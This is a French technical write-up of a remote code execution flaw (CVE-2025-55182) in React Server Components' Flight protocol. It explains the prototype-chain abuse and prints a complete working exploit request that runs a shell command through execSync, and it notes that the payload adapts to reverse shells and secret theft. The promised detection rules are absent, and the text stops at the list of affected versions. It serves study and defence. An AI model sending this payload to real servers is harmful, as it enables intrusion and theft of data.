
Preuve de concept d'exploitation démontrant l'exécution de code à distance via une désérialisation non sécurisée dans le protocole React Flight (CVE-2025-55182). Inclut des règles de détection Snort et OSQuery.
Les React Server Components sont une fonctionnalité introduite dans React 19, permettant aux composants d'être rendus côté serveur plutôt que dans le navigateur du client. Le serveur peut traiter les tâches de calcul complexes tout en n'envoyant que les résultats rendus au client.
La communication entre le serveur et le client dans RSC repose sur le protocole React Flight. Ce protocole gère la sérialisation et la désérialisation des données transmises entre le serveur et le client. Lorsqu'un client doit appeler une fonction côté serveur (Server Action), il envoie une requête au format spécial contenant des données sérialisées que le serveur doit désérialiser et traiter.
Le protocole Flight utilise un format de sérialisation spécifique avec des marqueurs de type de données. Ex. :
C'est précisément ce mécanisme de sérialisation qui héberge la vulnérabilité. Le serveur traite ces références sans valider correctement que les propriétés demandées sont réellement des exports valides du module concerné.
CVE-2025-55182 est essentiellement une vulnérabilité de désérialisation non sécurisée dans la manière dont RSC traite les payloads entrants du protocole Flight. La vulnérabilité se trouve dans la fonction requireModule du paquet react-server-dom-webpack.
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... additional logic ...
return moduleExports[metadata[2]]; // VULNERABLE LINE
}
Le défaut critique réside dans l'accès par notation entre crochets : moduleExports[metadata[2]]
En JavaScript, lors de l'accès à une propriété par notation entre crochets, le moteur JavaScript ne vérifie pas uniquement les propriétés propres de l'objet, mais parcourt toute la chaîne de prototypes. Cela signifie qu'un attaquant peut référencer des propriétés qui ne sont pas explicitement exportées par le module.
Plus important encore, chaque fonction en JavaScript possède une propriété constructor pointant vers le constructeur Function. En accédant à someFunction.constructor, l'attaquant obtient une référence au constructeur Function global, qui peut exécuter du code JavaScript arbitraire lorsqu'il est appelé avec un argument de type chaîne.
La vulnérabilité devient exploitable car le protocole Flight de React permet au client de spécifier ces chemins de propriétés via la syntaxe de référence séparée par deux-points. Un attaquant peut créer une référence comme $1:constructor:constructor, qui effectue le parcours suivant :
.constructor (obtenant le constructeur Function).constructor une nouvelle fois (toujours le constructeur Function, mais confirmant la chaîne d'accès)Le PoC commence par l'envoi d'une requête multipart form composée de trois champs. Le premier champ contient un faux objet Chunk délibérément conçu :
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Cet objet imite la structure interne de la classe chunk de React. En définissant then comme référence à Chunk.prototype.then, il crée une structure auto-référencée. Lorsque React traite et fait await sur ce Chunk, la méthode then est appelée avec le faux Chunk comme contexte this
Le composant critique suivant est la référence $B1337. Dans le protocole Flight de React, le préfixe $B désigne une référence Blob. Lorsque React traite la référence Blob, il appelle une fonction utilisant : response._formData.get(response._prefix + id)
Ici, l'objet _response a été injecté avec des propriétés malveillantes. Lorsque le gestionnaire Blob exécute : response._formData.get(response._prefix + id)
Il exécute en réalité : Function("process.mainModule.require('child_process').execSync('xcalc');1337")
La raison est que _formData.get est défini sur $1:constructor:constructor, référence qui est résolue en constructeur Function. La valeur _prefix contient le code malveillant. Une fois combinés, le constructeur Function est appelé avec la chaîne de code malveillant comme argument, créant et exécutant une fonction contenant du code JS arbitraire.
Le payload process.mainModule.require('child_process').execSync('xcalc') illustre la capacité de cette exploitation. Le payload :
process.mainModule (le module principal en cours d'exécution)require pour charger le module child_processexecSync pour exécuter une commande du système d'exploitationxcalc) pour démontrer la réussite de l'exploitationCe payload peut être modifié pour établir un reverse shell, extraire des variables d'environnement contenant des informations secrètes, lire des fichiers sensibles ou effectuer toute opération que le processus Node.js a le droit d'exécuter.
Observons une requête complète dans le PoC de maple3142 :
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: [Độ_dài_thực_tế_của_body]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
L'en-tête Next-Action: x déclenche le mécanisme de traitement des Server Actions de React. Le corps comprend 3 parties :
_response malveillante.$@0 pointant vers le champ 0, créant une structure auto-référencée.Lorsque le serveur traite cette requête, il désérialise le champ 0, rencontre la référence $@0 dans le champ 1, établit la propriété then auto-référencée, puis déclenche le gestionnaire Blob, qui exécute le code via le constructeur Function.
CVE-2025-55182 affecte les React Server Components dans les versions suivantes :